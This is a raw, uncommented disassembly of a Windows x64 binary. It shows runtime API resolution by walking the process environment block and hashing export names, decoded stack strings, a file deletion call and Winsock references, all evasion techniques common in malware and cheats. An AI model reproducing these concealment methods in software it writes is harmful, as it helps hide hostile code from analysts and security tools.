mov byte [rbp + 0x346], 0x57
mov byte [rbp + 0x347], Ordinal_79
mov byte [rbp + 0x348], 0x51
mov byte [rbp + 0x349], 0
mov byte [rbp + 0x34a], 1
lea rdx, [rbp + 0x1588]
lea rcx, [rbp + 0x340]
call fcn.14008f030
nop
lea rcx, [rbp + 0x1588]
call fcn.14004b5f0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x1588]
call fcn.140090bf0
lea rax, [rbp + 0x1178]
mov qword [rbp + 0x2800], rax
lea rcx, [rbp + 0x1178]
call fcn.140056380
mov rbx, rax
mov byte [rbp + 0x268], 0x7c
mov byte [rbp + 0x269], Ordinal_79
mov byte [rbp + 0x26a], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x26b], 0x7c
mov byte [rbp + 0x26c], 0x46
mov byte [rbp + 0x26d], 0x52
mov byte [rbp + 0x26e], 0
mov byte [rbp + 0x26f], 1
lea rdx, [rbp + 0x15c8]
lea rcx, [rbp + 0x268]
call fcn.14008efc0
nop
lea rcx, [rbp + 0x15c8]
call fcn.14004b9a0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x15c8]
call fcn.140090bf0
lea rax, [rbp + 0x1190]
mov qword [rbp + 0x2800], rax
lea rcx, [rbp + 0x1190]
call fcn.140056380
mov rbx, rax
mov byte [rbp + 0x350], 0x68
mov byte [rbp + 0x351], 0x44
mov byte [rbp + 0x352], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x353], 0x48
mov byte [rbp + 0x354], 0x64
mov byte [rbp + 0x355], 0x43
mov byte [rbp + 0x356], 0x53
mov byte [rbp + 0x357], 0x50
mov byte [rbp + 0x358], 0x5f
mov byte [rbp + 0x359], 0
mov byte [rbp + 0x35a], 1
lea rdx, [rbp + 0x1608]
lea rcx, [rbp + 0x350]
call fcn.14008f030
nop
lea rcx, [rbp + 0x1608]
call fcn.14004b9a0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x1608]
call fcn.140090bf0
lea rax, [rbp + 0x11a8]
mov qword [rbp + 0x2800], rax
lea rcx, [rbp + 0x11a8]
call fcn.140056380
mov rbx, rax
mov byte [rbp + 0x9c], 0x68
mov byte [rbp + 0x9d], 0x7d
mov byte [rbp + 0x9e], 0x7d
mov byte [rbp + 0x9f], 0
mov byte [rbp + 0xa0], 1
lea rdx, [rbp + 0x1648]
lea rcx, [rbp + 0x9c]
call fcn.14008eee0
nop
lea rcx, [rbp + 0x1648]
call fcn.14004b9a0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x1648]
call fcn.140090bf0
lea rax, [rbp + 0xb48]
mov qword [rbp + 0x2800], rax
lea rcx, [rbp + 0xb48]
call fcn.140055c90
mov rbx, rax
mov byte [rbp + 0x2e0], 0x68
mov byte [rbp + 0x2e1], 0x43
mov byte [rbp + 0x2e2], 0x5d
mov byte [rbp + 0x2e3], Ordinal_79
mov byte [rbp + 0x2e4], 0x51
mov byte [rbp + 0x2e5], 0x52
mov byte [rbp + 0x2e6], 0x5a
mov byte [rbp + 0x2e7], 0x56
mov byte [rbp + 0x2e8], 0
mov byte [rbp + 0x2e9], 1
lea rdx, [rbp + 0x1688]
lea rcx, [rbp + 0x2e0]
call fcn.14008e470
nop
lea rcx, [rbp + 0x1688]
call fcn.14004b9a0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x1688]
call fcn.140090bf0
mov rax, qword [0x140214480]
cmp byte [rax + 0x26], 1
jne 0x140081658
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400811fa
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400811fa
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x4199061d
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400811f5
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400811d0
cmp r8d, 0x8fcd3e29
je 0x1400811ff
test r9d, r9d
jne 0x1400811b0
mov rax, qword [rax]
jmp 0x140081180
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
lea rdx, [rbp + 0x5810]
mov ecx, 0x104
call r8
dec eax
cmp eax, 0x103
jbe 0x140081314
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400812c6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400812c6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xe7e5f0c
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400812c1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400812a0
cmp r8d, 0xb937bb47
je 0x1400812cb
test r9d, r9d
jne 0x140081280
mov rax, qword [rax]
jmp 0x140081250
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edi, dword [rcx + rax*4]
add rdi, r10
lea rcx, [rbp + 0x38]
call fcn.140088250
mov rcx, rax
call fcn.14008b6b0
mov rbx, rax
lea rcx, [rbp + 0x39]
call fcn.140088170
mov rcx, rax
call fcn.14008b700
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call rdi
lea rdx, [rbp + 0x5810]
lea rcx, [rbp + 0x2bb8]
call fcn.140090c30
nop
mov byte [rbp + 0x500], 0x7e
mov byte [rbp + 0x501], Ordinal_79
mov byte [rbp + 0x502], 0x54
mov byte [rbp + 0x503], Ordinal_79
mov byte [rbp + 0x504], 0x42
mov byte [rbp + 0x505], Ordinal_32
mov byte [rbp + 0x506], 0x58
mov byte [rbp + 0x507], 0x40
mov byte [rbp + 0x508], 0x5b
mov byte [rbp + 0x509], 0x5b
mov byte [rbp + 0x50a], 0
mov byte [rbp + 0x50b], 1
lea rdx, [rbp + 0x16c8]
lea rcx, [rbp + 0x500]
call fcn.14008e4e0
nop
lea rdx, [rbp + 0x16c8]
lea rcx, [rbp + 0x2bb8]
call fcn.140090bb0
nop
lea rcx, [rbp + 0x16c8]
call fcn.140090bf0
lea rcx, [rbp + 0x2bb8]
call fcn.140090b20
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x14008149c
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140081456
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140081456
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xd6df9d5f
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140081451
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140081430
cmp r8d, 0x6c6f8c4e
je 0x14008145b
test r9d, r9d
jne 0x140081410
mov rax, qword [rax]
jmp 0x1400813e0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edi, dword [rcx + rax*4]
add rdi, r10
lea rcx, [rbp + 0x3a]
call fcn.1400883b0
mov rcx, rax
call fcn.14008b600
mov rbx, rax
lea rcx, [rbp + 0x3b]
call fcn.1400882f0
mov rcx, rax
call fcn.14008b650
jmp 0x140081637
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword gs:[0x60]
cmp eax, 2
mov rax, qword [rcx + 0x18]
mov rax, qword [rax + 0x10]
jne 0x140081580
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140081536
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140081536
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xab2441d4
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140081531
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140081510
cmp r8d, 0x63eb8e2f
je 0x14008153b
test r9d, r9d
jne 0x1400814f0
mov rax, qword [rax]
jmp 0x1400814c0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edi, dword [rcx + rax*4]
add rdi, r10
lea rcx, [rbp + 0x3c]
call fcn.140088510
mov rcx, rax
call fcn.14008b550
mov rbx, rax
lea rcx, [rbp + 0x3d]
call fcn.140088450
mov rcx, rax
call fcn.14008b5a0
jmp 0x140081637
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400815f6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400815f6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xa9f28e5c
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400815f1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400815d0
cmp r8d, 0x8c659f57
je 0x1400815fb
test r9d, r9d
jne 0x1400815b0
mov rax, qword [rax]
jmp 0x140081580
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edi, dword [rcx + rax*4]
add rdi, r10
lea rcx, [rbp + 0x3e]
call fcn.140088690
mov rcx, rax
call fcn.14008b4a0
mov rbx, rax
lea rcx, [rbp + 0x3f]
call fcn.1400885b0
mov rcx, rax
call fcn.14008b4f0
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call rdi
nop
lea rcx, [rbp + 0x2bb8]
call fcn.140090bf0
mov rax, qword [0x140214480]
cmp byte [rax + 0x25], 1
jne 0x1400819c4
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400816fa
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400816fa
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xc0f479a9
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400816f5
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400816d0
cmp r8d, 0x41241108
je 0x1400816ff
test r9d, r9d
jne 0x1400816b0
mov rax, qword [rax]
jmp 0x140081680
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ebx, dword [rcx + rax*4]
add rbx, r10
movdqa xmm0, xmmword [0x1401cd150]
movdqu xmmword [rbp + 0x1708], xmm0
mov byte [rbp + 0x1718], 0x79
mov byte [rbp + 0x1719], 0x77
mov byte [rbp + 0x171a], WSAStartup
mov byte [rbp + 0x171b], WSASetLastError
mov byte [rbp + 0x171c], reloc.WS2_32.dll_select
mov byte [rbp + 0x171d], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x171e], 3
mov byte [rbp + 0x171f], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1720], 0x64
mov byte [rbp + 0x1721], WSASetLastError
mov byte [rbp + 0x1722], 2
mov byte [rbp + 0x1723], 0x67
mov byte [rbp + 0x1724], ntohs
mov byte [rbp + 0x1725], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x1726], 0
mov byte [rbp + 0x1727], 1
lea rcx, [rbp + 0x1708]
call fcn.1400614d0
mov rcx, rax
call rbx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008183a
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008183a
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xfebed497
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140081835
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140081810
cmp r8d, 0x2a442116
je 0x14008183f
test r9d, r9d
jne 0x1400817f0
mov rax, qword [rax]
jmp 0x1400817c0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ebx, dword [rcx + rax*4]
add rbx, r10
movdqa xmm0, xmmword [0x1401cd150]
movdqu xmmword [rbp + 0x1748], xmm0
mov byte [rbp + 0x1758], 0x79
mov byte [rbp + 0x1759], 0x77
mov byte [rbp + 0x175a], WSAStartup
mov byte [rbp + 0x175b], WSASetLastError
mov byte [rbp + 0x175c], reloc.WS2_32.dll_select
mov byte [rbp + 0x175d], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x175e], 3
mov byte [rbp + 0x175f], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1760], 0x64
mov byte [rbp + 0x1761], WSASetLastError
mov byte [rbp + 0x1762], 2
mov byte [rbp + 0x1763], 0x67
mov byte [rbp + 0x1764], ntohs
mov byte [rbp + 0x1765], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x1766], 0
mov byte [rbp + 0x1767], 1
lea rcx, [rbp + 0x1748]
call fcn.1400614d0
mov rcx, rax
call rbx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140081976
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140081976
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x22b062ad
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140081971
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140081950
cmp r8d, 0xa26bac8c
je 0x14008197b
test r9d, r9d
jne 0x140081930
mov rax, qword [rax]
jmp 0x140081900
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edi, dword [rcx + rax*4]
add rdi, r10
lea rcx, [rbp + 0x40]
call fcn.140088820
mov rcx, rax
call fcn.14008b3f0
mov rbx, rax
lea rcx, [rbp + 0x41]
call fcn.140088730
mov rcx, rax
call fcn.14008b440
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call rdi
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140081a56
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140081a56
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x28fca3ee
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140081a51
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140081a30
cmp r8d, 0x97ccd8b1
je 0x140081a5b
test r9d, r9d
jne 0x140081a10
mov rax, qword [rax]
jmp 0x1400819e0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edi, dword [rcx + rax*4]
add rdi, r10
lea rcx, [rbp + 0x42]
call fcn.140088960
mov rcx, rax
call fcn.14008b380
mov rbx, rax
lea rcx, [rbp + 0x43]
call fcn.1400888c0
mov rcx, rax
call fcn.14008b3a0
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call rdi
mov rax, qword [0x140214480]
cmp byte [rax + 0x28], 1
jne 0x140081c5f
mov r14d, 0xa38143b7
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r12, qword [rax]
mov rsi, r12
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rsi + 0x58]
movups xmmword [rbp + 0x2800], xmm0
movd eax, xmm0
sub ax, 8
test r15d, r15d
je 0x140081b3d
mov rcx, qword [rbp + 0x2808]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0xd0726977
cmp rcx, r8
je 0x140081b34
nop dword [rax]
nop word [rax + rax]
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140081b20
cmp edx, r15d
jne 0x140081c3d
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov rdi, rcx
shr rdi, 0x20
mov r11d, ecx
add r11, r9
cmp r11, r9
je 0x140081c3d
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x140081c3d
mov ebx, dword [r11 + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + rbx]
add rcx, r9
mov edx, 0xd0726977
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140081bb6
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x140081ba0
cmp edx, r14d
je 0x140081bc6
test r8d, r8d
jne 0x140081b80
jmp 0x140081c3d
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
cmp rdx, r11
jbe 0x140081c5b
lea rax, [rdi + r11]
cmp rdx, rax
jae 0x140081c5b
mov r15d, 0xd0726977
mov r14d, r15d
movzx eax, byte [rdx]
cmp al, 0x2e
je 0x140081c17
nop dword [rax]
movsx eax, al
xor eax, r15d
imul r15d, eax, 0x1000193
inc rdx
movzx eax, byte [rdx]
cmp al, 0x2e
jne 0x140081c00
inc rdx
movzx eax, byte [rdx]
test al, al
je 0x140081c39
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
lea rdx, [rdx + 1]
movzx eax, byte [rdx]
test al, al
jne 0x140081c21
mov rsi, qword [r12]
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r12
je 0x140081c57
cmp qword [rax + 0x30], 0
jne 0x140081ae0
xor eax, eax
mov edx, eax
xor ecx, ecx
call rdx
mov byte [0x14021077a], 0
movzx r13d, byte [rbp - 0x74]
call fcn.14000c1a0
call fcn.140043f10
call fcn.1400609b0
movaps xmm1, xmm0
movss xmm2, dword [0x1401cb5a0]
lea rcx, [rbp + 0x170]
call fcn.140002800
mov rdi, rax
mov rdx, qword [0x140214480]
lea rcx, [rdx + 8]
movsxd rdx, dword [rdx + 0x20]
call fcn.14008fcf0
mov rbx, rax
mov byte [rbp + 0x270], 0x65
mov byte [rbp + 0x271], 0x43
mov byte [rbp + 0x272], 0x44
mov byte [rbp + 0x273], Ordinal_79
mov byte [rbp + 0x274], 0x53
mov byte [rbp + 0x275], 0x45
mov byte [rbp + 0x276], reloc.WS2_32.dll_select
mov byte [rbp + 0x277], 0
mov byte [rbp + 0x278], 1
lea rcx, [rbp + 0x270]
call fcn.140057680
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x17c8]
call fcn.140093f70
nop
mov rcx, rax
call fcn.140090b20
mov rdx, rdi
mov rcx, rax
call fcn.14003ae70
movzx ebx, al
lea rcx, [rbp + 0x17c8]
call fcn.140090bf0
mov r12d, 1
test bl, bl
je 0x14008268a
mov byte [0x14021077a], r12b
mov rax, qword [0x140210780]
movsd xmm0, qword [rax + 0x1c88]
cvtpd2ps xmm0, xmm0
movss dword [0x14021077c], xmm0
jmp 0x14008268a
lea rcx, [rbp + 0x44]
call fcn.140084170
mov rcx, rax
call fcn.14008d560
mov rcx, rax
mov r8b, 1
mov edx, r12d
call fcn.1400606f0
call fcn.14003c9f0
movss dword [rsp + 0x20], xmm12
movaps xmm3, xmm10
movaps xmm2, xmm9
movss xmm1, dword [0x1401cb494]
lea rcx, [rbp + 0x600]
call fcn.140002820
mov rdx, rax
mov ecx, 5
call fcn.140004dd0
movss xmm1, dword [0x1401cb528]
mov ecx, 6
call fcn.140004e80
movss xmm0, dword [0x1401cb604]
call fcn.140013180
movss xmm2, dword [0x1401cb5f0]
movaps xmm1, xmm8
lea rcx, [rbp + 0x210]
call fcn.140002800
mov rbx, rax
lea rcx, [rbp + 0x45]
call fcn.1400841d0
mov rcx, rax
call fcn.14008d540
xor r9d, r9d
mov r8b, 1
mov rdx, rbx
mov rcx, rax
call fcn.14000c100
lea rcx, [rbp + 0x46]
call fcn.140084230
mov rcx, rax
call fcn.14008d4f0
mov rcx, rax
mov r8b, 1
mov edx, r12d
call fcn.1400606f0
lea rcx, [rbp + 0x47]
call fcn.1400842e0
mov rcx, rax
call fcn.14008d4c0
mov rcx, rax
call fcn.14003a290
movaps xmm1, xmm11
movaps xmm0, xmm9
call fcn.140013000
lea rcx, [rbp + 0x48]
call fcn.140084350
mov rcx, rax
call fcn.14008d490
mov rbx, rax
movss dword [rsp + 0x20], xmm10
movaps xmm3, xmm9
movaps xmm2, xmm10
movaps xmm1, xmm9
lea rcx, [rbp + 0x610]
call fcn.140002820
mov rdx, rbx
mov rcx, rax
call fcn.14003a310
call fcn.14003c9a0
lea rcx, [rbp + 0x49]
call fcn.1400843b0
mov rcx, rax
call fcn.14008d450
mov rcx, rax
call fcn.14003a290
movaps xmm1, xmm11
movaps xmm0, xmm9
call fcn.140013000
lea rcx, [rbp + 0x4a]
call fcn.140084410
mov rcx, rax
call fcn.14008d430
mov rbx, rax
mov dword [rsp + 0x20], 0xff
xor r9d, r9d
mov edx, 0xdc
lea r8d, [rdx - 0x1e]
lea rcx, [rbp + 0x620]
call fcn.14004f620
lea rdx, [rbp + 0x630]
mov rcx, rax
call fcn.140024e00
mov rdx, rbx
lea rcx, [rbp + 0x630]
call fcn.14003a310
call fcn.14003c9a0
movaps xmm2, xmm9
movaps xmm1, xmm9
lea rcx, [rbp + 0x218]
call fcn.140002800
mov rbx, rax
lea rcx, [rbp + 0x4b]
call fcn.140084470
mov rcx, rax
call fcn.14008d400
mov rdx, rbx
mov rcx, rax
call fcn.14003ae70
test al, al
je 0x1400822f3
mov eax, 0x4d44
mov word [rbp + 0x2570], ax
mov eax, 0x4d59
mov word [rbp + 0x2572], ax
mov eax, 0x4d5a
mov word [rbp + 0x2574], ax
mov ecx, 0x4d5f
mov word [rbp + 0x2576], cx
mov ecx, 0x4d43
mov word [rbp + 0x2578], cx
mov ecx, 0x4d0b
mov word [rbp + 0x257a], cx
mov ecx, 0x4d1d
mov word [rbp + 0x257c], cx
mov ecx, 0x4d1c
mov word [rbp + 0x257e], cx
mov ecx, 0x4d50
mov word [rbp + 0x2580], cx
mov ecx, 0x4d5c
mov word [rbp + 0x2582], cx
mov ecx, 0x4d45
mov word [rbp + 0x2584], cx
mov ecx, 0x4d54
mov word [rbp + 0x2586], cx
mov ecx, 0x4d57
mov word [rbp + 0x2588], cx
mov ecx, 0x4d4b
mov word [rbp + 0x258a], cx
mov ecx, 0x4d5e
mov word [rbp + 0x258c], cx
mov ecx, 0x4d15
mov word [rbp + 0x258e], cx
mov ecx, 0x4d5b
mov word [rbp + 0x2590], cx
mov word [rbp + 0x2592], ax
mov eax, 0x4d11
mov word [rbp + 0x2594], ax
mov eax, 0x4d55
mov word [rbp + 0x2596], ax
mov eax, 0x4d32
mov word [rbp + 0x2598], ax
mov eax, 0x4d22
mov word [rbp + 0x259a], ax
mov eax, 0x4d33
mov word [rbp + 0x259c], ax
mov ecx, 0x4d7a
mov word [rbp + 0x259e], cx
mov ecx, 0x4d2f
mov word [rbp + 0x25a0], cx
mov word [rbp + 0x25a2], ax
mov eax, 0x4d00
mov word [rbp + 0x25a4], ax
mov eax, 0x4d70
mov word [rbp + 0x25a6], ax
mov eax, 0x4d71
mov word [rbp + 0x25a8], ax
mov word [rbp + 0x25aa], r15w
mov byte [rbp + 0x25ac], 1
lea rdx, [rbp + 0x2c58]
lea rcx, [rbp + 0x2570]
call fcn.14008d380
nop
lea rcx, [rbp + 0x2c58]
call fcn.1400907d0
mov r8, rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
xor edx, edx
xor ecx, ecx
lea r9d, [rdx - 1]
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd r14, eax
mov rdx, r14
xor r8d, r8d
lea rcx, [rbp + 0x2c78]
call fcn.140090c00
nop
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rsi, qword [rcx]
mov rdi, rsi
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x1400821a7
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x1400821a7
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
mov edx, 0xc5ebcdc
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x1400821a2
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x140082180
cmp edx, 0xdc7489bd
je 0x14008232f
test r8d, r8d
jne 0x140082160
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x1400821c1
cmp qword [rax + 0x30], 0
jne 0x140082130
mov rdi, r15
xor edx, edx
lea rcx, [rbp + 0x2c78]
call fcn.1400907b0
mov rbx, rax
lea rcx, [rbp + 0x2c58]
call fcn.1400907d0
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], rbx
mov r9d, 0xffffffff
mov r8, rax
xor edx, edx
xor ecx, ecx
call rdi
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140082297
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140082297
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
